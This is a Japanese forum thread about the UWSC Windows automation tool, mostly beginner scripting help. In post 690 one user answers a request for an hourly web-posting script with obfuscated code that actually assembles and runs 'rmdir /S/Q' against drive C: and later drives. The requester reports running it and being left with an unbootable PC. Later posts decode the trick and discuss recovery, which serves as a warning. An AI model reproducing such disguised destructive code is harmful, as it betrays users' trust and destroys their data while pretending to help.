1 名前:名無しさん@お腹いっぱい。 [2009/03/02(月) 19:49:20 ID:rP5khwz50] Windowsを自動化させるツールUWSC。 ttp://www.h7.dion.ne.jp/~umiumi/ uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。 前スレ 自動化ツールuwsc使いよ集まれ3 pc11.2ch.net/test/read.cgi/software/1176677869/
654 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:21:35 ID:d8MsK2iH0] >>652 ┌Y1┐ X1 X2 └Y2┘
655 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:26:36 ID:d5KMyGe80] >>652 始点Yが400で選択範囲をY600までにした場合 Yの値=画像の横幅、が200pxを超えていると認識しない。
656 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:49:11 ID:yaBuphLm0] >>653-654 654を見て理解できました >>655 画像自体の幅と高さが関係してくるのを理解してませんでした これで少し前進しました アドバイスくださった皆さんありがとうございました
657 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 16:13:22 ID:GlNkzRYu0] ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then i = 1 ifb (L > 0 and L < 11) then ii = 1 elseif (L > 40 and L < 51) then ii = 2 else ii = 3 endif elseif (L > 10 and L < 21) or (L > 50 and L < 61) or (L > 90 and L < 101) then i = 2 ifb (L > 10 and L < 21) ii = 4 elseif (L > 50 and L < 61) ii = 5 else ii = 6 endif endif 下一桁も取出したいのですがもっと簡単に書く方法はないですか?
658 名前:名無しさん@お腹いっぱい。 [2009/10/17(土) 17:03:23 ID:Xw3XxMCcP] ここまで何をしたいのか全く理解できないレスは初めてだ
659 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:32:45 ID:4eI9AiXq0] >>657 select L case 1 to 10 i = 1 ii = 1 case 11 to 20 i = 2 ii = 4 case 41 to 50 i = 1 ii = 2 case 51 to 60 i = 2 ii = 5 case 81 to 90 i = 1 ii = 3 case 91 to 100 i = 2 ii = 6 default selend 「to」って使えたっけ??
660 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:58:54 ID:II0xKVE40] 使えないだろ。 下一桁の意味がわからん
661 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 18:30:52 ID:GlNkzRYu0] すいません説明不足で 1〜200までの場所がありまして、まず1〜200は8つのブロックに分かれてます。 1つ目のブロックは、1〜10 41〜50 81〜90 2つ目のブロックは、11〜20 51〜60 91〜100 3つ目のブロックは、21〜30 61〜70 101〜110 4つ目のブロックは、31〜40 71〜80 111〜120 5つ目のブロックは、121〜130 161〜170 6つ目のブロックは、131〜140 171〜180 7つ目のブロックは、141〜150 181〜190 8つ目のブロックは、151〜160 191〜200 1つ目のブロックの1行目は1〜10 2行目は41〜50 3行目は81〜90 4つ目まで同じ 5つ目のブロックからは1行目は121〜130 2行目は161〜170 8つ目まで同じ これを指定した番号の場所に行きたいのですが簡略化して書く方法が思いつかなかったので質問させていただきました。
662 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:15:57 ID:2kTk15QU0] すみません質問です 友人から拡張子.uwsのスクリプトをもらいましたがUWSCのお試し期限が切れてしまいました そこでAutoItで使えるようにしたいのですが僕にはこういった知識が全くありません その友人に変換してもらえるか聞いたんですが 「UWSC以外は使ったことないからワカンネ」と言われてしまいました もしここの部分をこうするだけだよ、 ってレベルの話であればどうか教えてください
663 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:25:26 ID:ra182OK/0] >>662 UWSCのフリー版使えば期限なんてないよ www.uwsc.info/uwsc45c1.zip
664 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:35:41 ID:a5Xst/mw0] >>661 IFB L <= 120 hoge = (L-1) MOD 40 i = INT(hoge / 10) + 1 ii = INT((L-1) / 40) + 1 iii = L MOD 10 ELSEIF L <= 200 hoge = ((L- 120) -1) MOD 40 i = INT(hoge / 10) + 5 ii = INT((L-1) / 40) + 1 iii = L MOD 10 ENDIF こんな感じじゃない? 適当に書いたからどこか1とかずれてると思うけど、 適当にいじれば使えると思うよ。 MODは割った剰りを求める演算な。
665 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:54:20 ID:D58+E+1n0] >>657 の条件だとiiの条件が特殊じゃね? 俺ならこんなの配列イメージで出すようにするわ L = 11 DIM i,ii DIM index[7][2] =_ 0, 4, 8,_ 1, 5, 9,_ 2, 6,10,_ 3, 7,11,_ 12,16,99,_ 13,17,99,_ 14,18,99,_ 15,19,99 DIM value_ii[7][2] =_ 1, 2, 3,_ 4, 5, 6,_ 7, 8, 9,_ 10,11,12,_ 13,14,99,_ 15,16,99,_ 17,18,99,_ 19,20,99 for block = 0 to 7 for column = 0 to 2 ifb int((L-1)/10) = index[block][column] then i = block + 1 ii = value_ii[block][column] MSGBOX( "i=" + i + ", ii=" + ii ) break 2 endif next next
666 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:03:08 ID:2kTk15QU0] >>663 ありがとうございます フリー版があったんですね 助かりました
667 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:36:20 ID:GlNkzRYu0] L = 入力された数字1〜200 ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then //8つのうちの1つ目のブロック i = 1 // 8/1 iはブロックの場所の変数 ifb (L > 0 and L < 11) then ii = 1 // 1〜10までだから1行目 iiは行数の変数 ifb L = 1 iii=1 // Lは1番目 iiiは何番目かを表す変数 これをズラズラ200通り書いてたのでうまく求める書き方がなのかと思いまして
668 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:23:35 ID:pJnpQWGB0] >>667 どうせ200通り書くんなら200通りの配列にしろよ。 そしたらコーディングは次の1行で済むからバグが混入しなくていいだろ。 > 結果 = データ[L] > const ブロック = 0 > const 行 = 1 > const 列 = 2 > dim 結果[2] > 結果 = データ[L] > ブロック番号 = 結果[ブロック] > 行番号 = 結果[行] > 列番号 = 結果[列] データは↓のように1〜200を定義する dim データ[200][2] = _ // ブロック番号、行、列 0, 0, 0, _ // ダミーデータ 1, 1, 1, _ // L = 1 2, 1, 1, _ // L = 11 3, 1, 1, _ // L = 21 ルール化してデータを折りたたむ場合でも、一旦表にしてみれば整理しやすい。
669 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:27:50 ID:NwjYpu/W0] 下一桁の意味がわからん 普通に考えてL=164なら4をさすと思う iはブロックらしいが、iiはなになのかわからんってことで DIM minv[20]= 1,11,21,31,41,51,61,71,81, 91,101,111,121,131,141,151,161,171,181,191,-999 DIM maxv[20]=10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,-999 DIM tou[20]= 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,-999 DIM blk[20]= 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 5, 6, 7, 8, 5, 6, 7, 8,-999 L=INPUT("数字を入力してください",1) L=INT(L) ifb L<0 or L>200 then FUKIDASI ("範囲外なので処理できません") SLEEP(500) EXITEXIT endif
670 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:28:31 ID:NwjYpu/W0] counter=0 while minv[counter]<>-999 if minv[counter]<=L and L<=maxv[counter] then break counter=counter+1 wend i=blk[counter] ifb minv[counter]<>-999 then FUKIDASI(tou[counter]+"&"+blk[counter]) WHILE GETKEYSTATE(VK_MBUTTON)=FALSE WEND WHILE GETKEYSTATE(VK_MBUTTON)=TRUE WEND endif EXITEXIT
671 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:00:44 ID:GlNkzRYu0] 沢山の答えありがとうございます 自分はまだ初心者なので皆さんの答えを今すぐに理解できないので 1つずつ理解していきます。
672 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:30:46 ID:GlNkzRYu0] >>669 95は何ブロック目の何行の何番目かを出したくて661みたいなkとを書いたのですが 簡潔にまとめるために質問しました。 □は縦1列で1ブロック 1〜10 11〜20 21〜30 31〜40 1行 □ □ □ □ 41〜50 51〜60 61〜70 71〜80 2行 □ □ □ □ 81〜90 91〜100 101〜110 111〜120 3行 □ □ □ □ 121〜130 131〜140 141〜150 151〜160 4行 □ □ □ □ 161〜170 171〜180 181〜190 191〜200 5行 □ □ □ □
673 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 09:11:39 ID:t51s/utc0] 661とは全く違うじゃねーかw 説明が下手糞だから余計な混乱を招いてるんじゃないのかよ。 下手に簡略化しようと考えずに 実際にやってることを書けよw
674 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 11:27:49 ID:0ZmdNhwk0] >>673 最初そう思ったがどうやらLの数値からブロックの番号と行の番号の2種類を求めたいらしい ただ、あとは>>669 のDIM tou[20]=をその行の番号に対応するところを変えて後ろにii=tou[counter] をつければ差し替えるだけで終わるから、後は質問者がLvUPしてこれをするだけ
675 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 13:43:28 ID:fLNvafB60] >>669 はminとmaxを別々の配列にしてるけど、それはミスが出やすいコーディングだから駄目だよ。 ひとつのオブジェクトにminとmaxがあるのはいいんだけどね。 □部分に、 L に9を足して10で割った数字を入れてみる。 さらに4を足して4で割った数字(小数点は切捨て) 【↓】 1〜10 11〜20 21〜30 31〜40 1行 1 2 3 4 1 41〜50 51〜60 61〜70 71〜80 2行 5 6 7 8 2 81〜90 91〜100 101〜110 111〜120 3行 9 10 11 12 3 121〜130 131〜140 141〜150 151〜160 4行 13 14 15 16 4 161〜170 171〜180 181〜190 191〜200 5行 17 18 19 20 5 1 2 3 4 【←】 ((□-1) mod 4) + 1 の計算結果 >>664 が既に書いてくれてるのを分解した図だな。 Excelとかで計算式書いてみたらすぐ作れる表なんだけどなあ。 しかも今どき表計算とか無料で使えるのに知らないのかなあ?
676 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:29:56 ID:/4/WenoU0] ヘルプも見たけど分からなかったので質問 batファイルなんかだと「go to ○○」と書くと○○の部分に処理をジャンプさせられるけど 例えば EXEC("C:\Program Files\lolifox\lolifox.exe") loliid = GETID("lolifox", "MozillaUIWindowClass", -1) CTRLWIN(loliid, MIN) loli = STATUS(loliid, ST_ICON) ifb loli = 0 then CTRLWIN(loliid, MIN) EXEC("D:\ソフト\Jane Style\Jane2ch.exe") else EXEC("D:\ソフト\Jane Style\Jane2ch.exe") endif こんな感じで書いたとして(本当はJaneの後も他の起動がズラズラ) lolifoxは最小化したあと何故か勝手に最大化されてしまう場合があるから こういう風にしてるんだけど、それだと同じ処理を両方に書いて長く見づらくなっちゃうため thenの方で最小化した後にelseの方に飛ばす方法ってないのかな?
677 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:48:35 ID:fLNvafB60] >>676 loliの中身を見る必要はない これでおk > STATUS(loliid, ST_ICON) > CTRLWIN(loliid, MIN) > EXEC("D:\ソフト\Jane Style\Jane2ch.exe") もしくは、if分が終わった後に書けばおk > if loli = 0 then CTRLWIN(loliid, MIN) > EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
678 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:14:28 ID:/4/WenoU0] >>677 出来た、ありがとう ついでに聞いておきたんだけど >>676 で書いたようなラベルジャンプみたいな機能はUWSCではできないのかな
679 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:26:05 ID:fLNvafB60] >>678 ないな。 どーしてもそういうコーディングがしたければ、 ジャンプの変わりに、関数を呼び出してそのままexitしたらいいんじゃないかな。 ifb flag then 関数() //関数を実行 exitexit //関数が終わると戻ってくるが、後は必要ないので終了 // これでgotoしたのと同じ事になる。ただし変数はグローバルで取ること。 //でもgotoが入り混じった動作は作れないよな endif
680 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:50:46 ID:/4/WenoU0] >>679 参考になったよ サンクス
681 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 21:14:57 ID:ixWoaU9v0] イイコト聞いた(・∀・) 俺も参考になった >>679 ありがとね
682 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 17:46:15 ID:n+6Jdku/0] はじめまして全くの初心者で丸投げでお願いしたいです メモ帳に24行の文字列があるのですが 1時になれば上から1行目をサイトAに投稿 2時になれば上から1行目をサイトBに投稿 3時になれば上から1行目をサイトCに投稿 このように1時間ごとに1行の投稿を 1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです よろしくお願いします
683 名前:682 mailto:sage [2009/10/19(月) 17:49:34 ID:n+6Jdku/0] ちょっと書きミスしましたので改めて書きます メモ帳に24行の文字列があるのですが 1時になれば上から1行目をサイトAに投稿 2時になれば上から2行目をサイトBに投稿 3時になれば上から3行目をサイトCに投稿 このように1時間ごとに1行の投稿を 1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです 24時サイトXまで終了すれば 1時サイトA〜24時サイトXまでの永遠ループです よろしくお願いします
684 名前:682 mailto:sage [2009/10/19(月) 17:53:33 ID:n+6Jdku/0] 何度もすいません テキスト1ファイルで1行目〜24行目の方法ではなく 1行ファイルを24個用意して 1時にテキスト1をサイトA 2時にテキスト2をサイトB 3時にテキスト3をサイトC この方法でも結構です どなたかお願いします
685 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:18:15 ID:UJIHaaLl0] >>はじめまして全くの初心者で丸投げでお願いしたいです
686 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:59:12 ID:HVP74pPF0] 自分で作れないなら、プロにお金を出して作ってもらったら?
687 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 19:43:20 ID:CQ58FsYy0] >>682-684 そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?
688 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 20:39:09 ID:fkMx4tWw0] >>682 こんなソフトウェアつくってください pc12.2ch.net/test/read.cgi/software/1251624598/
689 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 22:09:18 ID:A/b0I+MbP] >>682 これから作るからちょっと待ちなー
690 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0] >>682 書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。 前後の「"」は忘れずに! dim site[25],kakikomi[25] site[1]="hyde156cm.com/aaabb/cccddd/efg.html " ・・・(省略)・・・ site[24]="hogehoge.co.jp/aaa/bcd.cgi " kakikomi[1]="テキスト1" ・・・(省略)・・・ kakikomi[24]="テキスト24" mode="mdS5RgzP4/Q B" aaa="InternetExplorer.Application" bbb=":\" cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb size=66 for time=1 to 24 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) if "" <> doscmd(cc) then continue IE = CreateOLEObj(aaa) IE.Visible = True IE.Navigate(site[time]) IESetData(IE,True,"lr",kakikomi[time]) GETTIME() ifb time=G_TIME_HH then sleep(3600) endif next
691 名前:682 mailto:sage [2009/10/20(火) 07:09:39 ID:W8G0SBlw0] >>690 さん お返事遅くなり申し訳ないです お忙しい中、本当にありがとうございました 大切に使わせていただきます 感謝です
692 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 07:33:50 ID:jAAUEYUX0] よく>>682 みたいな馬鹿に親切に作ってやるもんだ >全くの初心者で丸投げでお願いしたいです こういう輩を甘やかすと調子乗るんだよな
693 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 17:29:41 ID:lEe8RCT+0] >>682 みたいなのは死ねばいいと思う uwsc使いでもなんでもないし
694 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 19:18:45 ID:kn6xTJMj0] 「UWSC使い」使いですね。わかります。
695 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 21:37:35 ID:5ibiXKAy0] >>690 巧さ半端ねぇなw どうなっているのか解るのに10秒くらいかかった。
696 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 00:30:20 ID:5BhbaMvE0] 682は本当にこれ実行したんだろうか… レス無いのはやっぱり実行しちゃったんだろうか…
697 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:09:56 ID:H9pzsLFx0] ちゃんと見てなかったけどCから順にやるのかすごいな だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、 初めて触る人間にはすぐには実行できないんじゃないか? ていうかまさか依頼の段階から仕込みとかか? 依頼からして不自然だったしさ。
698 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:29:46 ID:H9pzsLFx0] やってみたけどループ1回目の途中でエラーになって止まったよ。 だめだな。 仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。
699 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:47:10 ID:H9pzsLFx0] × ぜんぜん心配いらんかった。 ○ そっちは心配いらんかった。
700 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:02:22 ID:eGE2n9Cp0] >>690 を実行するとどうなんの? エラーが出るだけ?
701 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:18:52 ID:s2PXx/VI0] >>700 コードをちゃんと読めば理解出来るだろう。 メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。 知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。 ちなみに65がAだから、66はB、67はCな。
702 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:54:14 ID:H9pzsLFx0] >>701 それだけじゃわかんないと思うよ。 サイトAからXまで処理することになってるから。 A-X が C-Zに置き換わってると言えば分かると思う。
703 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 00:23:30 ID:zsrKpKqI0] 最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG… 65は最初から無い
704 名前:危険!危険! mailto:sage [2009/10/22(木) 00:46:18 ID:rtGLzJgQ0] なんで〜(;´д⊂ヽ >>690 をやってみようとしたらエラーになるので パソコンをリセットしたら 「Wwindows Boot Manager」の画面になってそこからどうにもならない もうデータとか全部捨ててリカバリするしかないかも試練orz ちなみにOSはVista えらいことになったよ・゚・(ノω;`)・゚・ >>690 はなんだったんだろうか? >>701 65がAとか意味不明
705 名前:名無しさん@お腹いっぱい。 [2009/10/22(木) 01:14:14 ID:k2O2PUZQ0] 犠牲者報告がついに来たか。 >>690 のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。 UWSCはコマンドを呼び出してるだけなんだけどね。 ウィルスと違うからアンチウィルスとかじゃ検出してくれない。 だからスクリプトは実行する人がそれをちゃんと理解するか、 信用できる人からもらったものじゃないといけない。 僕はプログラマで共同作業してるときですら、同期入社のやつから>>690 みたいな動作のスクリプトを青果物として納品されて、 完成したプログラムが全部消えてなくなったことがある。 ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。 人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。 さすが毒饅頭を出荷してる土地柄だけはある。 そんな感じだから信用できる人間の区別もまた難しいんだけど、 とにかく検査されたもの以外は安易に実行してはいけないってことだ。
706 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:43:45 ID:zsrKpKqI0] >>704 > mode="mdS5RgzP4/Q B" > bbb=":\" chgmoj(mode,"S5RgzP4","ir /S ") "mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。 結果、mode="mdif /S/Q B" > cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb cc="r" + "mdir /S/Q B" + ":\" ="rmdir /S/Q B:\" > cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) 最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C cc = replace(cc," B"," C") コマンドcc中の" B"を" C"で置換 cc="rmdir /S/Q C:\" 以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
707 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:46:14 ID:rtGLzJgQ0] >>705 さん 詳しいレスありがとうございます つまりインストールしていたソフトやデータはすべて消えた後ってことですね これでリカバリする踏ん切りつきました 夜遅くにすいませんでした >>690 死ね!
708 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:49:50 ID:rtGLzJgQ0] >>706 えっ! 私はカキコ遅いんですけどその間にレス頂いた様で ありがとうございます ということはソフトやデータはまだ残っているって事なんでしょうか? とすれば>>705 が悪意のあるレスで>>690 は善意の解答者??? もうわけわかんないです(;´Д`) とりあえず復旧方法探してみます 夜中にすいませんでした
709 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:54:00 ID:zsrKpKqI0] これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`) 今後何度だってトラップに引っかかって今度のような目にあうぞ。 rmdir /S/Q C:\ の意味は "C:\" を中身ごと消せ。 つまり>>705 の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。 当然ながらOSは起動不能。
710 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:58:18 ID:rtGLzJgQ0] >>709 さん 了解です うかつに実行した自分の責任です ご親切にありがとうございました >>705 さん疑ってすいませんでした 教えてくれてありがとうです 今日は遅いので明日にでもリカバリします >>690 死ね死ね死ね!!!
711 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:32:59 ID:mgMzrVp30] VISTA使ってんなら、管理者として実行するを選ばない限りDOSコマンドでwindowsのシステムファイルは消えない rmdir c:\ /s /qしてもファイル削除自体をはじかれる つ〜わけで、釣りだろ?
712 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:36:13 ID:k2O2PUZQ0] 俺仮想で実行した>>698 だけど、そんとき書かなくてごめんね。 一応 > 「しまった。共有ドライブが!」とか思った っていうのがヒントになってると思ったんだけど。 んで僕はC:で実行中のWindowsシステムファイル以外は消えたの確認したけど、 D:にページファイル置いてて、ついでに小物ツールとか置いてたんだけど、それ全部消えてました。 だから一応はリカバリするまでD:以降は残しておくべきだけど、消えてる可能性は高いかなと。 ただ、ループ中に > IE = CreateOLEObj(aaa) でオブジェクトがないっていうエラーが出てたから、きっとD:は処理しなかったんだろうと思ったんだけど・・ > if "" <> doscmd(cc) then continue C: D:を処理するときにはこれがtrueになってOLEの処理は飛ばされてたのかも。 でE:はドライブがないよってエラーを返すからOLE実行して、エラーになったかな? 共有ドライブはドライブレターが飛んでるから助かったっぽい。 >>706 > 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる cmd.exeは実行中だから自分自身を消さないんじゃね? FATとか使ってれば消えるのかもしれないけど。 >>707 >>710 どーしても取り戻したいファイルがあるなら、その消えたHDDを復活ツール使って復活する方法はあるよ。 ただしリカバリでデータを書き込んだら上書きされて取り出せなくなるけどね。 ツールはあってもファイル数が半端じゃないし、ファイル名の1文字目が消えてて探すのも大変だけど。 必要なのはその消えたHDDを追加できる環境と復活ツールと、復活する手間隙。 業者に頼んでもいいけど、1MBあたり1万円とか取られるんじゃないかな。
713 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:48:12 ID:k2O2PUZQ0] >>711 UWSCスクリプトが内部で呼び出すDOSシェルはVistaでもいちいちUACで聞いてこないんじゃね? 少なくともWindows7では聞いてこないと思うけどな。 そもそも実行しようと思っているんだから仮にUACで確認されてもOKをクリックするだけだと思うよ。 あ、UACじゃなくてファイル保護の話か。 でも保護されるのはWindows配下とProgram Files配下くらいで、 アプリの設定ファイルとかユーザーデータとかはことごとく消えるんじゃないかな。 他ユーザーのデータは残ってるだろうけど、一人でいくつものアカウントを使い分けたりしないだろ?めんどくさいし。 で、ファイル保護されてシステムファイルが消えないんだとすると、D:ドライブ以降も全部消えてるだろうね。 僕はXPで試したけどVistaならOLEもエラーにならなくてZまでしっかり実行される気がする。 実行したらVistaの方が被害が大きいんじゃないかな。 > IESetData(IE,True,"lr",kakikomi[time]) これがエラーでストップするならドライブレターが飛んでるところは大丈夫だろうけど、多分スルーされるよね。 DOMアクセスしてたら名前不一致でエラーになるけど。
714 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:15:43 ID:7U7T32pD0] ID:rtGLzJgQ0は>>682 かな? だとしたらすげー面白いんだけどなw 自分は全然悪くないと思ってるところとか
715 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:31:39 ID:mgMzrVp30] >>713 両方の事なんだけど、UACないとprogram filesとwindowsのファイルは消せないっぽいし、 UACでもファイル保護とか実行中のexe DLLは削除無理っぽいんだよね スクリプトだからUACを有効に出来ないわけだろ? するとWindowsだけはとりあえず起動するだろうから、釣りとしか思えない
716 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:42:55 ID:k2O2PUZQ0] >>715 > スクリプトだからUACを有効に出来ないわけだろ? 意味分からん。 UACって実行許可を求めるものだから、許可したら動くに決まってる。 実行中の実行ファイルが消えないというのはなんの助けにもならない。 Windows起動時にどのファイルを読み込んでどんな処理をするかが書かれているのは実行ファイルじゃないしな。 実行ファイルだけがあればソフトは勝手に動くと思ってるのかな?
717 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:48:52 ID:k2O2PUZQ0] VBScriptでVistaのUACの権限昇格を行う方法 ttp://hitaki.net/diary/20090522.html ああ、スクリプト側で昇格処理してユーザーが許可を出さないと管理者権限で実行できないのか。 でもUWSCって管理者権限で実行しないとそもそも動かないんじゃなかったっけ?
718 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 04:06:17 ID:mgMzrVp30] 許可しなくても動く すべての関数を使ったことないから全部そうなのかまでは分からない
719 名前:704 mailto:sage [2009/10/22(木) 05:47:51 ID:rtGLzJgQ0] >>711 VistaでUWSCを動かすためには「管理者権限で実行」しないと動かなかったですよ 以前ここで教えてもらったんですよ なので綺麗に削除されました >>714 そですよ >>682 は私です せっかく作ってくれたんだから使ってお礼のレスを入れないとって思って使いました 結果は先に書いたとおりです 面白いですか? >>715 Windowsは起動しないです ウィンドーズブートなんとかって画面で 「Esc」キーか「リターン」キーを押すように英語で記載されてる どちらを押しても再起動してその画面に戻るだけでした 釣りじゃないですよ >>717 あなたが正解です VistaでUWSCは管理者権限での実行でしか動きません >>718 自分はプレインストールのVistaHBですが UWSCを実行させる場合は必ず管理者権限でないと UWSCは起ち上がっても自動実行は一切出来ないですよ
720 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:05:55 ID:7U7T32pD0] >>719 まあ高い授業料だったと思えばいいね 色々といい経験になったでしょ
721 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:13:27 ID:rtGLzJgQ0] >>720 はい(´;ω;`) あなたはいい人だね ありがとです
722 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 10:46:24 ID:QFAR0xIb0] >>721 言葉だけでいい人と判断するなら、行動としてスクリプトでフォーマットしてもいい人かもねw
723 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 12:07:54 ID:FjUQjAwk0] >>719 VistaHP使ってますが管理者権限にせずに動いています アカウントもアドミニですが
724 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:00:00 ID:u/5hQA4K0] >>712 おまえも戦犯だ責任とって氏ね
725 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:25:42 ID:k2O2PUZQ0] >>724 戦犯? 俺>>687 ですよ? 取引に応じてくれたらちゃんと作ってあげたのに。 そもそも 「ぜんぜん別の掲示板なら1箇所当たり2千円」 っていうところをちゃんと理解してくれていれば >>690 みたいな単純なループでは実現できないってことは分かるはずなんだよ。 どーせ>>682-684 みたいなことを考えるやつは 政治的なコピペを張りまくるか 「俺その時間自宅でネットやってました」 っていうアリバイ作って犯罪を逃れようとしてるとかだろうから 親切には教えなかっただけなんだけどね。 ちゃんと読んでくれていればあちこちにヒントもちりばめてるんだし。 > Cから順にやるのかすごいな > 「しまった。共有ドライブが!」 > ぜんぜん心配いらんかった。 −> そっちは心配いらんかった。 >>696 だってそれをにおわすこと書いてくれてるし 人をだます人がいることを分かってないお人よしなのか、そういうのを力でねじ伏せてる人なのか、どっちなんだろ。
726 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 15:20:23 ID:QFAR0xIb0] >>725 どうでもいい。
727 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 19:03:49 ID:kTghvya90] ただ単純に、スレ違いも甚だしい所でクレクレ行為まがいの事をして、 読めもしないコード貰って実行するバカが悪いだけだろ。 >>690 を見て何も疑わずに実行するのはレベル低すぎないか? 俺はネタをネタとryと同じようなもんじゃないかと思うが。
728 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 21:19:22 ID:4BdU1cL60] >>727 正解
729 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 22:49:45 ID:fNEtWyaw0] 戦犯とか意味不明にしても みんな静かにニヤニヤしながら黙ってみてたんだろ? 偉いなー。みんな空気読んでるなー。って 昨晩から感心してたところだよ
